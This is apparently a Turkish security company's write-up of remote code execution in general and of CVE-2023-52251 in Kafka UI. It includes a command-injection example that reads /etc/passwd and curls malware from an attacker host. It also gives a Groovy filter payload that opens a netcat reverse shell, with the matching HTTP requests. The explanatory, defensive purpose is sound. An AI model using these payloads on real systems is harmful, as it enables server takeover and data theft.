Yüksek Risk

Kafka UI RCE

CVE-2023-52251

Remote Code Execution (RCE) Nedir?

Remote Code Execution (RCE), bir sistemde uzaktan kod çalıştırılmasına olanak tanıyan ciddi bir güvenlik açığıdır. Bu zafiyet, genellikle uygulamaların kullanıcıdan alınan girdileri yeterince kontrol etmemesi ya da doğrulamaması sonucunda ortaya çıkar. RCE zafiyetleri, siber sızıntıların gerçekleşmesi, zararlı yazılımların yüklenmesi veya sistemin tamamen ele geçirilmesi gibi ciddi sonuçlara yol açabilir.

Örnek: Basit RCE Saldırısı

Bir uygulamanın kullanıcıdan gelen bir komutu şu şekilde bir sistem kabuğu (örneğin, bash veya cmd) üzerinde çalıştırdığını varsayalım:


Burada, user_input değeri doğrulanmadığı için bir saldırgan şu girdiyi sağlayabilir:

Bu durumda komut, şu şekilde işlenir:

Sonuç olarak, rm -rf / komutunun etkisiyle sistem tamamen silinebilir.

RCE Zafiyetlerinin Türleri

RCE zafiyetleri farklı yöntemlerle sömürülebilir. En yaygın yöntemler şunlardır:

  1. Komut Enjeksiyonu: Kullanıcı girdileri, doğrulanmadan veya temizlenmeden sistem komutlarının bir parçası haline getirilir.

  2. Kod Enjeksiyonu: Dinamik olarak çalışan kod bloklarına zararlı girdi eklenir.

  3. Bellek Yolsuzluğu: Sistem belleği üzerinde yetkisiz değişiklikler yapılarak kod yürütme sağlanır.

Komut Enjeksiyonu Örneği

Bir web uygulamasının kullanıcıdan gelen bir dosya adını şu şekilde bir komut kabuğu üzerinde çalıştırdığını varsayalım:


Bir saldırgan, file_name parametresine şu girdiyi sağlayabilir:

/etc/passwd; curl <http://attackerserver/malware.sh>

Bu durumda, komut şu şekilde işletilecektir:

cat /etc/passwd; curl <http://attackerserver/malware.sh>

Sonuç olarak, saldırgan önce sistemin hassas bilgilerini ele geçirebilir, sonra da zararlı bir yazılımı indirip çalıştırabilir.

RCE Zafiyetlerinden Korunma Yöntemleri

  1. Girdi Doğrulama ve Temizleme: Kullanıcıdan gelen tüm veriler doğrulanmalı ve zararlı girdiler temizlenmelidir.

  2. Parametrik Sorgular Kullanın: Sistem komutlarının doğrudan çalıştırılmasından kaçınılmalı ve parametrik yöntemlerle işlem yapılmalıdır.

  3. Kod Analizi: Yazılım geliştirme sürecinde statik ve dinamik analiz yöntemleri kullanılarak zafiyetler tespit edilmelidir.

  4. En Az Yetki Prensibi: Kullanılan servisler, mümkün olan en az yetki ile çalıştırılmalıdır.

Sonuç

Remote Code Execution zafiyetleri, etkili bir savunma stratejisi olmadığı durumlarda sistemleri ciddi risk altına sokabilir. Yazılım geliştiricilerin ve sistem yöneticilerinin bu zafiyetlere karşı bilinçli olması, düzenli testler ve güvenlik analizleri ile desteklenmelidir. Bu önlemler, hem uygulamaların hem de verilerin daha güvenli olmasını sağlar.

CVE-2023-52251: RCE via Groovy script execution

Kafka UI uygulamasında mesaj filtreleme işlevi, sunucu tarafında mesajları filtrelemek için basit bir sorgunun kullanılmasına olanak tanır. Yapılan incelemelerde, Kafka'nın içsel olarak GROOVY_SCRIPT türünü desteklediği ve bu filtreleri bir Groovy betiği olarak değerlendirdiği görülmüştür. Bu durum, uygun önlemler alınmamışsa, keyfi kod çalıştırılmasına olanak tanıyabilecek bir güvenlik riski oluşturmaktadır.

Test etmek için, kullanıcı arayüzünde bir kümeye gidin, bir konuyu seçin ve 'Mesajlar' sekmesine tıklayın. Sonrasında, aşağıdaki içerikle yeni bir filtre oluşturun:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

Aşağıdaki Groovy betiği, belirtilen adrese bir ters kabuk (reverse shell) bağlantısı başlatır. Kullanıcı arayüzü (UI) üzerinden bu işlemi gerçekleştirdiğimizde, tarayıcı sunucuya şu HTTP isteğini gönderir:”

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1 Host: 127.0.0.1:8091

Bu isteği, Burp Suite Repeater gibi bir HTTP istemcisini kullanarak yeniden gönderebilir ve işleyişini test edebilirsiniz.

Varsayılan Kafka Docker imajında Netcat yüklüdür. Ancak, Netcat'in çalışmadığı durumlarda, aşağıda verilen gibi daha karmaşık bir ters kabuk oluşturan Groovy betiğini de kullanabilirsiniz:

Bu istismarın başarılı olabilmesi için, bağlı Kafka kümesinin (örnekte 'yerel') içinde en az bir etkin konuya ve bu konularda iletilere sahip olması gerektiğini unutmayın. Aksi takdirde, bir saldırgan bu iletileri oluşturmak için Kafka UI'nin API'sini kullanabilir:

`POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json`

`{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}`

`POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json`

`{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

RCE (Remote Code Execution) basit bir GET HTTP isteğinden tetiklenebilir. Bu nedenle, bir kimlik avı bağlantısı göndererek ve bunu yönetici tarayıcısında açarak, CSRF (Cross-Site Request Forgery) tarzı bir saldırı ile de istismar edilebilir.

Benzer CVE Analizleri

Geliştirdiğimiz siber güvenlik çözümlerinin işletmeler üzerindeki etkisini gerçek projeler üzerinden görün. Her vaka çalışması, müşterilerimizin ihtiyaçlarına özel yaklaşımlarımızı ve tehditlere karşı sunduğumuz kapsamlı çözümleri detaylandırıyor. Güvenlik stratejilerimizin başarısını ve değerini keşfedin.

NELER BAŞARDIK?

NELER BAŞARDIK?

NELER BAŞARDIK?

Güvenliğinizi rakamlarla güvence altına alıyoruz

Güvenliğinizi rakamlarla güvence altına alıyoruz

Güvenliğinizi rakamlarla güvence altına alıyoruz

Yılların tecrübesi, uzman ekibimiz ve başarı oranımızla işletmenizi siber tehditlere karşı koruyoruz.

Yılların tecrübesi, uzman ekibimiz ve başarı oranımızla işletmenizi siber tehditlere karşı koruyoruz.

Yılların tecrübesi, uzman ekibimiz ve başarı oranımızla işletmenizi siber tehditlere karşı koruyoruz.

15+ Yıl

Tecrübe

10+

Siber Güvenlik Uzmanı

100%

Başarı Oranı

400+

Başarılı İşlem

SIKÇA SORULAN SORULAR

SIKÇA SORULAN SORULAR

SIKÇA SORULAN SORULAR

Aklınızdaki soruları yanıtlayalım

Aşağıda sıkça sorulan sorulara verdiğimiz yanıtları bulabilirsiniz.

Siber güvenlik için ne çalışmalıyım?

Siber güvenlik kariyeri nasıl seçilir?

Siber güvenlikte hangi sertifikalar önemlidir?

Siber güvenlikte hangi programlama dillerini öğrenmeliyim?

Siber güvenlikte Red Team ve Blue Team arasındaki fark nedir?

Siber güvenlik için ne çalışmalıyım?

Siber güvenlik kariyeri nasıl seçilir?

Siber güvenlikte hangi sertifikalar önemlidir?

Siber güvenlikte hangi programlama dillerini öğrenmeliyim?

Siber güvenlikte Red Team ve Blue Team arasındaki fark nedir?

Siber güvenlik için ne çalışmalıyım?

Siber güvenlik kariyeri nasıl seçilir?

Siber güvenlikte hangi sertifikalar önemlidir?

Siber güvenlikte hangi programlama dillerini öğrenmeliyim?

Siber güvenlikte Red Team ve Blue Team arasındaki fark nedir?

defendzero

DefendZero, yıllardır siber güvenlik alanında birçok farklı sektörde kapsamlı hizmetler sunmuştur. Finans, sağlık, eğitim ve daha birçok sektörde kurumların güvenliğini sağlayarak onları olası tehditlere karşı koruma altına aldık.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero, yıllardır siber güvenlik alanında birçok farklı sektörde kapsamlı hizmetler sunmuştur. Finans, sağlık, eğitim ve daha birçok sektörde kurumların güvenliğini sağlayarak onları olası tehditlere karşı koruma altına aldık.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero, yıllardır siber güvenlik alanında birçok farklı sektörde kapsamlı hizmetler sunmuştur. Finans, sağlık, eğitim ve daha birçok sektörde kurumların güvenliğini sağlayarak onları olası tehditlere karşı koruma altına aldık.

© 2024 defendzero. "Over the rules , leading security."